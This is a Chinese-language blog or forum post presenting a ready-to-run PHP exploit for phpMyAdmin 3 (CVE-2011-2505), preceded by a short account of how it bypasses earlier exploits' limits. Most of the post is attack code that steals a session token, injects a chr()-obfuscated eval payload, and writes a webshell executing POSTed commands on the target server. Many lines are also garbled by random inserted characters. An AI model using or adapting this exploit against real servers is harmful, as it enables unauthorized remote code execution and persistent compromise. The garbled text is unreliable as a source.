phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
5 Y0 Q9 R+ ^9 W$ D9 T6 S( z5 }6 F2 H: K! I
6 P( O/ D" {4 l0 U+ \0 b3 ]昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
  n2 W1 }( I" z3 }) O
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
5 O# I6 M+ R" k2 `# L" H! c一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
! S) B" B, p9 e' K) x# m# X! L9 ~& h当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

( Y/ _% P  _- D6 T) Z  u在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：
8 h! m: h3 `2 u. g! d4 \& ^. x
#!/usr/bin/php
) S1 y) T. U6 ?$ [+ m( M2 h% q  E<?php
print_r('
+---------------------------------------------------------------------------+
( M& u# m0 o- c3 k' hpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
4 {* [/ Z( G4 Email: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
; h( }1 E: g% j6 R+---------------------------------------------------------------------------+
');
: {1 X& X- s6 B8 X# R# Z
$ I* O4 }' ?  L- i/**
1 r" G* k  u2 x/ _- h5 g * working when the directory:"config" exists and is writeable.
**/
& S! X  ]# N/ ]
. r) P' n7 e. T$ p4 C; i/ Pif ($argc < 3) {
    print_r('
. O  C5 p0 m+ J5 ]4 L+---------------------------------------------------------------------------+
* o1 y$ g' O# `. h2 A9 TUsage: php '.$argv[0].' host path
2 s* d8 a' T- phost:      target server (ip/hostname)
path:      path to pma3
  S/ ^# d. l6 [- h! f" nExample:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
    exit;
1 w5 O: K: t5 a3 C; }, }}
+ I( t' K& D( H4 i
+ y5 J4 H7 t2 {( y6 d# F1 ?9 e$host = $argv[1];
4 S& i# p/ ^' }: D$path = $argv[2];
2 v& W$ a6 Z/ z) \! `
8 f1 h( n1 F* s6 j- {/**
* Try to determine if the directory:"config" exists
**/
1 V# |5 x7 D* w: h/ _+ n& pecho "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
: `" ^- X0 v4 n; `! bif(strpos($returnstr,'404')){
) s' M/ u- ]/ o    exit("[-] Exploit Failed! The directory:config do not exists!\n");
) o1 u9 R4 n% F! w! j, g/ x}

/**
* Try to get token and sessionid
/ N6 n3 Q: g' _3 J' g% g* z+ L**/
; v$ G  v1 X* T7 f' S- N% @echo "[+] Try to get token and sessionid....\n";
8 p$ _. I2 C3 x+ [9 b$ L$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
    echo "[+] tokentoken\n";
4 z8 P% u, C5 ~4 D- W    echo "[+] Session IDsessionid\n";
: _+ t) o& L  @8 M! K$ M}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

; E- _2 |% E# e' K/**
* Try to insert shell into session
' d& A/ Q: ^' R& r$ {**/
6 X6 }: v4 Q2 W- U* [9 |* Mecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
+ `+ A& p- y9 }4 C8 N% `- L3 Y
- x, N1 n! F3 n  W6 V! w% M# u2 R/**
% V* [7 K2 v$ f; m, {9 x1 C * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
% o0 M0 J, L1 V$ A( F9 P" w' U0 x/**
; U4 U. |+ f; z$ e2 b, C * Try to check if the webshell was created successfully
3 o" J% T1 \( w**/
4 e( B/ F2 T- n' \; K* q; [echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
  L- L2 _4 W) r    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
  }5 J8 c7 J0 S- F, P}

& g$ n0 J3 G3 |' _# mfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
- {$ G5 F" _3 O3 x- [" r: k6 i, m    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
; `+ [' s, ^# [1 m    $packet .= "Accept: */*\r\n";
; r8 \& R" p. g  ^( J7 j    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
* [3 Z& p% K( k, Q4 \  y    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
$ p; I7 G7 Y  b7 P    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

5 H  q0 U  x1 G  v3 N    $fp = fsockopen(gethostbyname($host), 80);
# X4 l* i- F$ W$ z0 I    if (!$fp) {
    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);
0 [' O' K# u5 _; \' L: {
    $resp = '';

8 w$ x: V: y: a9 G* W2 {    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
1 i, A3 y+ A4 X5 B3 z2 s/ v
) q! u& V& J4 p" q    return $resp;
1 b. v7 v* |8 |* E}
   
?>
5 S0 ]% {- F7 k/ T/ J! Y.